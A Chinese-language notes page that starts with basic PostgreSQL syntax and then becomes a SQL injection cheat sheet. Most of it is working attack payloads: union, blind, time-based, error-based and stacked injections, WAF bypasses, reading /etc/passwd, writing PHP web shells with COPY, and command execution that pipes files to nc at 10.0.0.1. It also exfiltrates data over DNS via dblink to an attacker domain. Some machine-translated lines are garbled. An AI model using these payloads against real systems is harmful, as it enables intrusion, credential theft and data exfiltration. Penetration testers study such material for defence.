简介
PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS),在灵活的BSD许可证下发行。
PostgreSQL 开发者把它念作 post-gress-Q-L。
PostgreSQL 的 Slogan 是 “世界上最先进的开源关系型数据库”。
参考内容:PostgreSQL 10.1 手册
基本使用
1.createdb 命令创建数据库
createdb 是一个 SQL 命令 CREATE DATABASE 的封装。
createdb 命令语法格式如下:
createdb [option...] [dbname [description]];
CREATE DATABASE dbname;
2.插入数据(insert 语句)
INSERT INTO TABLE_NAME (column1, column2, column3,...columnN)
VALUES (value1, value2, value3,...valueN);
3.PostgreSQL 模式(SCHEMA)
PostgreSQL 模式(SCHEMA)可以看着是一个表的集合。
一个模式可以包含视图、索引、数据类型、函数和操作符等。
相同的对象名称可以被用于不同的模式中而不会出现冲突,例如 schema1 和 myschema 都可以包含名为 mytable 的表。
使用模式的优势:
- 允许多个用户使用一个数据库并且不会互相干扰。
- 将数据库对象组织成逻辑组以便更容易管理。
- 第三方应用的对象可以放在独立的模式中,这样它们就不会与其他对象的名称发生冲突。
- 模式类似于操作系统层的目录,但是模式不能嵌套。
语法
我们可以使用 CREATE SCHEMA 语句来创建模式,语法格式如下:
CREATE SCHEMA myschema.mytable (
...
);
4.查询数据(SELECT语句)
语法:
SELECT "column1", "column2"..."columnN" FROM "table_name";
SELECT * FROM "table_name";
5.更新数据(UPDATE语句)
语法:
UPDATE table_name
SET column1 = value1, column2 = value2...., columnN = valueN
WHERE [condition];
6.删除数据(DELETE语句)
语法:
DELETE FROM table_name
WHERE [condition];
7.ORDER BY子句
语法:
SELECT column-list
FROM table_name
[WHERE condition]
[ORDER BY column1, column2, .. columnN] [ASC | DESC];
8.分组(GROUP BY子句)
语法:
SELECT column-list
FROM table_name
WHERE [conditions ]
GROUP BY column1, column2....columnN
ORDER BY column1, column2....columnN
在上面的例子中,当我们使用GROUP BY NAME时,重复的名字数据记录被合并。 它指定GROUP BY减少冗余。
9.Having子句
语法:
SELECT column1, column2
FROM table1, table2
WHERE [ conditions ]
GROUP BY column1, column2
HAVING [ conditions ]
ORDER BY column1, column2
10.条件查询
条件查询有:
- AND 条件
- OR 条件
- AND & OR 条件
- NOT 条件
- LIKE 条件
- IN 条件
- NOT IN 条件
- BETWEEN 条件
10.1 AND条件
语法:
SELECT column1, column2, ..... columnN FROM table_name WHERE [search_condition] AND [search_condition];
SELECT *
FROM EMPLOYEES
WHERE SALARY > 120000
AND ID <= 4;
10.2 OR条件
语法:
SELECT column1, column2, ..... columnN FROM table_name WHERE [search_condition] OR [search_condition];
SELECT *
FROM EMPLOYEES
WHERE NAME = 'Minsu'
OR ADDRESS = 'Noida';
10.3 AND & OR条件
SELECT column1, column2, ..... columnN
FROM table_name
WHERE [search_condition] AND [search_condition]
OR [search_condition];
SELECT *
FROM EMPLOYEES
WHERE (NAME = 'Minsu' AND ADDRESS = 'Delhi')
OR (ID>= 8);
10.4 NOT条件
SELECT column1, column2, ..... columnN
FROM table_name
WHERE [search_condition] NOT [condition];
SELECT *
FROM EMPLOYEES
WHERE address IS NOT NULL ;
SELECT *
FROM EMPLOYEES
WHERE age NOT IN(21,24) ;
10.5 LIKE条件
like 与 where 子句一起,用于从指定条件满足 like 条件的表中获取数据。
SELECT column1, column2, ..... columnN
FROM table_name
WHERE [search_condition] LIKE [condition];
SELECT *
FROM EMPLOYEES
WHERE NAME LIKE 'Ma%';
10.6 IN条件
SELECT column1, column2, ..... columnN
FROM table_name
WHERE [search_condition] IN [condition];
10.7 NOT IN条件
SELECT column1, column2, ..... columnN
FROM table_name
WHERE [search_condition] NOT IN [condition];
10.8 BETWEEN条件
SELECT column1, column2, ..... columnN
FROM table_name
WHERE [search_condition] BETWEEN [condition];
SELECT *
FROM EMPLOYEES
WHERE AGE BETWEEN 24 AND 27;
11. LIMIT
SELECT column1, column2, columnN
FROM table_name
LIMIT [no of rows] OFFSET [row num]
常用函数
select CURRENT_SCHEMA() #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度
select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件
以下priv代表需要特权用户
name | example |
---|---|
Version | |
版本 | SELECT version() |
Comments | |
注释 | SELECT 1; –comment |
SELECT /comment/1; | |
Current User | |
当前用户 | SELECT user; |
SELECT current_user; | |
SELECT session_user; | |
SELECT usename FROM pg_user; | |
SELECT getpgusername(); | |
List Users | |
用户列表 | SELECT usename FROM pg_user |
List Password Hashes | |
列出哈希密码 | SELECT usename, passwd FROM pg_shadow — priv |
Password Cracker | |
密码破解 | MDCrack |
can crack PostgreSQL’s MD5-based passwords. | |
可以破解PostgreSQL基于MD5的密码。 | |
List Privileges | |
列出权限用户信息 | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts | |
列出DBA帐户 | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database | |
当前数据库 | SELECT current_database() |
List Databases | |
数据库列表 | SELECT datname FROM pg_database |
List Columns | |
列 列表 | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
List Tables | |
表 列表 | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name | |
从列名中查找表 | If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
Select Nth Row | |
选择第n行 | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 |
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; | |
Select Nth Char | |
选择第n个字符 | SELECT substr(‘abcd’, 3, 1); — returns c |
Bitwise AND | |
按位与 | SELECT 6 & 2; — returns 2 |
SELECT 6 & 1; –returns 0 | |
ASCII Value -> Char | SELECT chr(65); |
Char -> ASCII Value | SELECT ascii(‘A’); |
Casting | |
类型转换 | SELECT CAST(1 as varchar); |
SELECT CAST(‘1’ as int); | |
String Concatenation | |
字符串连接 | SELECT ‘A’ |
If Statement | |
IF语句 | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
IF 语句似乎只在函数内部有效,那么SQL注入就没有多大用处。请参见CASE 案例。 | |
Case Statement | |
Case 说明 | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
返回A | |
Avoiding Quotes | SELECT CHR(65) |
Time Delay | |
延时 | SELECT pg_sleep(10); — postgres 8.2+ only |
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6’, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here | |
. | |
Make DNS Requests | |
发出DNS请求 | Generally not possible in postgres. However if contrib/dblink |
is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): | |
SELECT * FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT version()’) RETURNS (result TEXT); | |
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. | |
在研究中通常不可能。但是如果contrib/dblink | |
已安装(默认情况下不是),可用于解析主机名(假设您拥有DBA权限): | |
从数据库链接中选择*(‘host=put.your.hostname.here user=someuser dbname=somedb’,‘SELECT version()’)返回(结果文本); | |
或者,如果您拥有DBA权限,则可以运行操作系统级命令(见下文)来解析主机名,例如“ping pentestmonkey.net”。 | |
Command Execution | |
命令执行 | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd |
创建或替换函数系统(cstring)返回int为“/lib/libc.so.6”,“系统”语言“C”STRICT;-privSELECT系统('cat/etc/passwd | nc 10.0.0.1 8080’);-priv,命令以postgres/pgsql OS级别的用户身份运行 |
Local File Access | |
本地文件访问 | CREATE TABLE mydata(t text); |
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user | |
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time | |
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … | |
DROP TABLE mytest mytest;Write to a file: | |
CREATE TABLE mytable (mycol text); | |
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); | |
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try. | |
— priv user can also read/write files by mapping libc functions | |
Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) |
SELECT inet_server_port(); — returns db server IP address (or null if using local connection) | |
Create Users | |
创建用户 | CREATE USER test1 PASSWORD ‘pass1’; — priv |
CREATE USER test1 PASSWORD ‘pass1’ CREATEUSER; — priv, grant some privs at the same time | |
Drop Users | |
删除用户 | DROP USER test1; — priv |
Make User DBA | |
提升用户权限为DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
Location of DB files | |
数据库文件的位置 | SELECT current_setting(‘data_directory’); — priv |
SELECT current_setting(‘hba_file’); — priv | |
Default/System Databases | |
默认/系统数据库 | template0 |
template1 |
waf绕过
符号
注释符号
--
/**/
连接符号
||
select '1'||'2'
other
-- "用作列名
select "name" from users
-- # 不是注释符号 而是运算符号bitwise XOR
select 1#2
->3
操作符与逻辑操作符
算术运算符
运算符 | 描述 |
---|---|
+ | 加 |
- | 减 |
* | 乘 |
/ | 除 |
% | 模(取余) |
^ | 指数 |
/ | |
! | 阶乘 |
!! | 阶乘(前缀操作符) |
比较运算符
运算符 | 描述 |
---|---|
= | 等于 |
!= | 不等于 |
<> | 不等于 |
> | 大于 |
< | 小于 |
>= | 大于等于 |
<= | 小于等于 |
逻辑运算符
|
|
| — |
| AND
逻辑与运算符。如果两个操作数都非零,则条件为真。
PostgresSQL 中的 WHERE 语句可以用 AND 包含多个过滤条件。 |
| NOT
逻辑非运算符。用来逆转操作数的逻辑状态。如果条件为真则逻辑非运算符将使其为假。
PostgresSQL 有 NOT EXISTS, NOT BETWEEN, NOT IN 等运算符。 |
| OR
逻辑或运算符。如果两个操作数中有任意一个非零,则条件为真。
PostgresSQL 中的 WHERE 语句可以用 OR 包含多个过滤条件。 |
位运算符
运算符 | 描述 |
---|---|
& | 按位与操作,按二进制位进行"与"运算。运算规则: |
0&0=0; 0&1=0; 1&0=0; 1&1=1; | |
0 | 0=0; 0 |
# | 异或运算符,按二进制位进行"异或"运算。运算规则: |
0#0=0; 0#1=1; 1#0=1; 1#1=0; | |
~ | 取反运算符,按二进制位进行"取反"运算。运算规则: |
~1=0; ~0=1; | |
<< | 二进制左移运算符。将一个运算对象的各二进制位全部左移若干位(左边的二进制位丢弃,右边补0)。 |
>> | 二进制右移运算符。将一个数的各二进制位全部右移若干位,正数左补0,负数左补1,右边丢弃。 |
类型转换
postgresql 要求查询的时候 类型要一致否则会报错
如下 利用::
常用的数据类型有
字符类型 text、varchar、char
数字类型 int(int4) 、 decimal(numeric) 、bigint(int8)、smallint(int2) 、real、double
布尔类型 boolean
时间类型 timestamp 、 date 、time 、interval
利用::
select 1::varchar union select 'a'
利用 函数进行转换
select CAST('5' as char)
select to_char(1234,'999')
select to_date(text, text)
select to_number('12,454.8-', '99G999D9S')
other
PostgreSQL允许”逃逸”字符串
PostgreSQL 还允许 “逃逸”字符串中的内容,这是一个 PostgreSQL 对 SQL 标准的扩展。
逃逸字符串语法是通过在字符串前写字母 E(大写或者小写)的方法声明的。
比如 E’foo’ 。
当需要续行包含逃逸字符的字符串时,仅需要在第一行的开始引号前写上 E 就可以了。
逃逸字符串使用的是C-风格的反斜杠()逃逸:\b(退格)、\f(进纸)、\n(换行)、\r(回车)、\t(水平制表符)。
此外还支持 *digits* 格式的逃逸字符(这里的 digits 是一个八进制字节数值),以及 \xhexdigits 格式的逃逸字符(这里的hexdigits 代表十六进制字节值)。
你创建的字节序列是否是服务器的字符集编码能接受的正确字符,是你自己的责任。
任何其它跟在反斜杠后面的字符都当做文本看待。
因此,要在字符串常量里包含反斜杠,则写两个反斜杠(\)。
另外,PostgreSQL 允许用一个反斜杠来逃逸单引号('),不过,将来版本的 PostgreSQL 将不允许这么用。
所以最好坚持使用符合标准的 ‘’ 。
// 八进制
select E'\167\150\157\141\155\151'
// 十六进制
select E'\x77\x68\x6f\x61\x6d\x69'
--字符串边界界定符号(可以绕过无单引号的情况)
select $$Dianne's horse$$
-- 加解密函数
md5()
encode('111','base64')
encode('111','hex')
常用注入判断
2::int=2
and 1=1
-- ' and 1=1 --
-- ' or 'a'='a
--判断数据库版本
and 1=cast(version() as int)-
--判断当前用户
and 1=cast(user||123 as int)
--判断字段数
order by
waf绕过
--告诉查询忽略所有尾随数据
; -- -
SELECT 'admin' OR 1 = 1; -- -' FROM users;将变成 SELECT 'admin' OR 1 = 1;
--绕过分隔符
--如上所示:
/**/ == " "--(不带引号,空格)
--绕过引号的限制(*)
--使用$符号:
SELECT $$test$$;与SELECT 'test';
--如果连续的美元符号被阻止($$),那么您也可以在postgreSQL中使用标签,方法是将标签名称放在$符号之间:
SELECT $quote$test$quote$;与SELECT 'test';
--同时我们也可以在字符串拼接的时候采取CHR()函数:
SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);等效于SELECT 'ABCDEFGH';
--注意:您不能同时使用'和$$ $quote$,因此,如果您需要转义以单引号开头的字符串,则将无法使用$$(即这种语句是无效的
SELECT 'test$$;
--)
information_schema
Information_schema自动的存在于每个database中,里面包含了数据库中所有对象的定义信息。
Information_schema默认不存在于任何用户的search_path中,所以对所有用户都是隐藏的。\dn看不到,通过pgAdmin等客户端工具也不会自动显示。因此访问这个schema的任何视图都需要加上schema名。
当然也可以通过修改search_path参数来访问。但PG不推荐这样做,因为里面的视图名称可能会跟用户应用程序中的对象名冲突。
Information_schema中的视图使用了几种特别的数据类型,如:cardinal_number 非负整数,yes_or_no相当于boolean
Information_schema中的视图基本都有权限校验,特定的用户只能看到特定的信息,也就是相当于Oracle中**all_***开头的视图。其中几个重要的视图如下:
表信息:
information_schema.tables ,相当于Oracle中的all_tables
字段信息:
information_schema.columns,相当于Oracle中的all_tab_cloumns
procedure/function:
routines,不包括package,因为pg不支持package
Information_schema.schemata
information_schema.tables
information_schema.columns
联合查询注入
/*===================================================*/
select * from users where "name" = 'admin' order by 2 --'
/*===================================================*/
select * from users where "name" = 'admin' union select null,'null'--'
/*===================================================*/
--查询相关信息
select * from users where "name" = 'admin' union select version() ,user--'
select * from users where "name" = 'admin' union select current_database() ,current_schema()--'
/*===================================================*/
--获取当前数据库中所有具有 dba(数据库管理员) 权限的用户 limit offset设置偏移
select * from users where "name" = '1admin' union select null ,usename FROM pg_user WHERE usesuper IS TRUE limit 1 offset 0 --'
/*===================================================*/
--查询数据库(当前用户权限内的)
select * from users where "name" = '1admin' union select null ,datname from pg_database limit 1 offset 0--'
select * from users where "name" = '1admin' union select null ,catalog_name from information_schema.schemata where schema_name='public' limit 1 offset 0 --'
/*===================================================*/
--查询表名(模式是public)
select * from users where "name" = '1admin' union select null ,tablename from pg_tables where schemaname='public' limit 1 offset 0 --'
select * from users where "name" = '1admin' union select null ,table_name from information_schema.tables limit 1 offset 0 --'
/*===================================================*/
--查询字段名
select * from users where "name" = '1admin' union select null ,column_name from information_schema.columns where table_name='users' limit 1 offset 0 --'
select * from users where "name" = '1admin' union select null ,column_name from information_schema.columns where table_name='users' limit 1 offset 0 --'
/*===================================================*/
--查询数据
select * from users where "name" = '1admin' union select null ,name||'::'||password from public.users --'
布尔盲注
--查询数据库长度
select * from users where name = 'admin' and (select length(current_database())) between 0 and 14
--查询数据库中表的个数
select * from users where name = 'admin' and (select count(*) from pg_stat_user_tables) between 0 and 4
--查询数据库名字(ascii)
select * from users where name = 'admin' and (select ascii(substr(current_database(),1,1))) between 0 and 118
--查询表名长度(其余语句可参考联合注入等)
select * from users where name = 'admin' and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 5
--查询表名
select * from users where name = 'admin' and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 117
--查询字段名
select * from users where name = 'admin' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users' limit 1 OFFSET 0) between 0 and 110
--查询字段长度
select * from users where name = 'admin' and (select length(column_name) from information_schema.columns where table_name='users' limit 1 offset 0) between 0 and 4
--查询数据
select * from users where name = 'admin' and (select ascii(substring(name||'::'||password,1,1)) from public.users limit 1 offset 0) between 0 and 97
--查询数据长度
select * from users where name = 'admin' and (select length(name||'::'||password) from public.users limit 1 offset 0) between 0 and 12
--另一种方法就是将between 0 and xx替换成=xx
select * from users where name = 'admin' and (select length(current_database()))=14
延时注入
select * from users where name = 'admin' and (1=(select 1 from pg_sleep(1)))
select * from users where name = 'admin' OR 5=(SELECT COUNT(*) FROM GENERATE_SERIES(1,6000000))
--获取当前用户信息
select * from users where name = 'admin' AND 5386=(CASE WHEN (coalesce(ascii(substr((select current_user),1,1)),0)=112) THEN (SELECT 5386 FROM PG_SLEEP(1)) ELSE 5386 END)
select * from users where name = 'admin' AND 5386=(CASE WHEN (coalesce(ascii(substr((select current_user),2,1)),0)=111) THEN (SELECT 5386 FROM PG_SLEEP(1)) ELSE 5386 END)
--查询数据库
select * from users where name = 'admin' AND 5386=(CASE WHEN (coalesce(ascii(substr((select catalog_name from information_schema.schemata where schema_name='public' limit 1 offset 0),1,1)),0)>=118) THEN (SELECT 5386 FROM PG_SLEEP(1)) ELSE 5386 END)
--查询表名
select * from users where name = 'admin' AND 5386=(CASE WHEN (coalesce(ascii(substr((select table_name from information_schema.tables limit 1 offset 0),1,1)),0)>=117) THEN (SELECT 386 FROM PG_SLEEP(1)) ELSE 5386 END)
--查询字段名
select * from users where name = 'admin' AND 5386=(CASE WHEN (coalesce(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1 offset 0),1,1)),0)>=110) THEN (SELECT 5386 FROM PG_SLEEP(1)) ELSE 5386 END)
--查询数据
select * from users where name = 'admin' AND 5386=(CASE WHEN (coalesce(ascii(substr((select name from public.users limit 1 offset 0),1,1)),0)>=97) THEN (SELECT 5386 FROM PG_SLEEP(1))ELSE 5386 END)
/*========================================================================*/
--另一种 sqlmap的方法
--相关信息
select * from users where name = 'admin' AND 5386=(CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(CURRENT_USER AS VARCHAR(10000))::text,(CHR(32))))::text FROM 1 FOR 1))>1) THEN (SELECT 5386 FROM PG_SLEEP(1)) ELSE 5386 END)
--修改FROM 1(位置) >1(ascii码)
--查询数据库
select * from users where name = 'admin' AND 8206=(CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(CURRENT_SCHEMA() AS VARCHAR(10000))::text,(CHR(32))))::text FROM 1 FOR 1))>=100) THEN (SELECT 8206 FROM PG_SLEEP(1)) ELSE 8206 END)
--查询表名
select * from users where name = 'admin' AND 9805=(CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(tablename AS VARCHAR(10000))::text,(CHR(32))) FROM pg_tables WHERE schemaname=(CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)) ORDER BY tablename OFFSET 3 LIMIT 1)::text FROM 1 FOR 1))>=101) THEN (SELECT 9805 FROM PG_SLEEP(1)) ELSE 9805 END)
--查询字段
select * from users where name = 'admin' AND 7410=(CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(typname AS VARCHAR(10000))::text,(CHR(32))) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname=(CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115)) AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname=(CHR(112)||CHR(97)||CHR(115)||CHR(115)||CHR(119)||CHR(111)||CHR(114)||CHR(100)) AND nspname=(CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)) ORDER BY attname)::text FROM 1 FOR 1))>=100) THEN (SELECT 7410 FROM PG_SLEEP(1)) ELSE 7410 END)
--查询数据
select * from users where name = 'admin' AND 7237=(CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(name AS VARCHAR(10000))::text,(CHR(32))) FROM public.users ORDER BY name OFFSET 1 LIMIT 1)::text FROM 1 FOR 1))>1) THEN (SELECT 7237 FROM PG_SLEEP(1)) ELSE 7237 END)
select * from users where name = 'admin' AND 3900=(CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(password AS VARCHAR(10000))::text,(CHR(32))) FROM public.users ORDER BY name OFFSET 0 LIMIT 1)::text FROM 1 FOR 1))>=90) THEN (SELECT 3900 FROM PG_SLEEP(5)) ELSE 3900 END)
报错注入
1.类型转化
/*===================================================*/
select cast((select version()) as numeric)
/*===================================================*/
--查询相关信息
select * from users where name = 'admin' and 1=cast((select version()) as numeric)
/*===================================================*/
--获取当前数据库中所有具有 dba(数据库管理员) 权限的用户 limit offset设置偏移
select * from users where name = 'admin' and 1=cast((select usename FROM pg_user WHERE usesuper IS TRUE limit 1 offset 0) as numeric)
/*===================================================*/
--查询模式
select * from users where name = 'admin' and 1=cast((select schema_name from information_schema.schemata limit 1 offset 0) as numeric)
/*===================================================*/
--查询数据库(当前用户权限内的)
/*利用information_schema视图*/
select * from users where name = 'admin' and 1=cast((select catalog_name from information_schema.schemata where schema_name='public' limit 1 offset 0) as numeric)
select * from users where name = 'admin' and 1=cast((select datname from pg_database limit 1 offset 0) as numeric)
/*===================================================*/
--查询表名
/*利用information_schema视图*/
select * from users where name = 'admin' and 1=cast((select table_name from information_schema.tables limit 1 offset 0) as numeric)
select * from users where name = 'admin' and 1=cast((select tablename from pg_tables where schemaname='public' limit 1 offset 0 ) as numeric)
--模式是public
select * from users where name = 'admin' and 1=cast((select table_name from information_schema.tables where table_schema='public' limit 1 offset 0) as numeric)
/*===================================================*/
--查询字段名
/*利用information_schema视图*/
select * from users where name = 'admin' and 1=cast((select column_name from information_schema.columns where table_name='users' limit 1 offset 0) as numeric)
select * from users where name = 'admin' and 1=cast((select column_name from information_schema.columns where table_name='users' limit 1 offset 0) as numeric)
/*===================================================*/
--查询数据
select * from users where name = 'admin' and 1=cast((select name||'::'||password from public.users limit 1 offset 0) as numeric)
/*===================================================*/
1=(CAST('1'||(version())::text||'0' AS NUMERIC))
文件读取
copy table(column) from '/etc/passwd'
-- 例子
copy users(name) from '/etc/passwd';
select * from users u ;
/*
admin admin
roberto asdfpiuw981
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
*/
select pg_read_file('/etc/passwd');
select pg_read_file('/etc/passwd' ,0,20);
文件写入
方法1:
--创建shell 表
create table shell(shell text not null);
--写入内容
insert into shell values('value');
--复制内容到web目录下
copy shell(shell) to '/www/shell.php';
方法2:
copy (select 'value') to '/www/shell/php';
命令执行
insert注入
堆叠注入
--与mssql类似
--利用sleep
select * from users where name = 'admin'; select PG_SLEEP(2)-- '
--利用报错
select * from users where name = 'admin'; select cast((select version()) as numeric) -- '
--利用OOB
select * from users where name = 'admin'; CREATE EXTENSION dblink
select * from users where name = 'admin'; SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
--也可利用其他注入方法,可以堆叠即代表着可以自己写sql语句。
OOB带外通道注入
PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做 dblink,可以通过如下命令开启:
CREATE EXTENSION dblink
接着运行如下语句,获取当前数据库用户名称:
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
无列名注入
同其他sql语言
select b from (select null, null b, null union select * from users)
参考
PostgreSQL数据库的注入
SQL注入渗透PostgreSQL(bypass tricks)
Postgres SQL Injection Cheat Sheet
Hacking PostgreSQL
postgresql盲注